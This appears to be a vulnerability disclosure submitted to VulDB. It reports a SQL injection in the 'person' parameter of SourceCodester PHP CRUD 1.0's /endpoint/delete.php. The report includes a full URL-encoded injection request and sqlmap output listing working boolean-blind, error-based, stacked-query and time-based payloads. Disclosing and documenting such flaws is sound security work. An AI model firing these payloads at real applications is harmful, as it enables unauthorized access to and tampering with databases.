Invia #403651: SourceCodester PHP CRUD using PDO Connection with Free Source Code 1.0 SQL Injection

I would like to report a SQL injection vulnerability I discovered in the sourcecodester of the PHP CRUD using PDO Connection with Free Source Code during my testing.

Details:

Affected URL/Endpoint: /basic-crud/endpoint/delete.php
Vulnerable Parameter: person
Risk Level: High (allows malicious users to execute arbitrary SQL queries)

Steps to reproduce:
1) Click on delete
2) Use a proxy like burpsuite to intercept the "delete" request.
3) Input the payload to invoke the SQL injection.
---
GET /basic-crud/endpoint/delete.php?person=1%27%20AND%20GTID_SUBSET%28CONCAT%280x716b6a6a71%2C%28MID%28%28IFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C190%29%29%2C0x71787a6b71%29%2C3736%29--%20UXvx HTTP/1.1
---
4) It is also vulnerable to the following attackes after running sqlmap on it.
---
Parameter: person (GET)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: person=1' AND EXTRACTVALUE(6753,CASE WHEN (6753=6753) THEN 6753 ELSE 0x3A END)-- JdCl

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: person=1' AND GTID_SUBSET(CONCAT(0x716b6a6a71,(SELECT (ELT(4457=4457,1))),0x71787a6b71),4457)-- pVYs

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: person=1';SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: person=1' AND (SELECT 6694 FROM (SELECT(SLEEP(5)))vsJW)-- Zlfh
---

Please let me know if you need further information or a more detailed analysis.

• Utente: Delvy (UID 74555)
• Sottomissione: 06/09/2024 12:46 (2 anni fa)
• Moderazione: 06/09/2024 23:36 (11 hours later)
• Stato: Accettato
• Voce VulDB: 276781 [SourceCodester PHP CRUD 1.0 Delete Person /endpoint/delete.php Ricercatore iniezione SQL]
• Punti: 17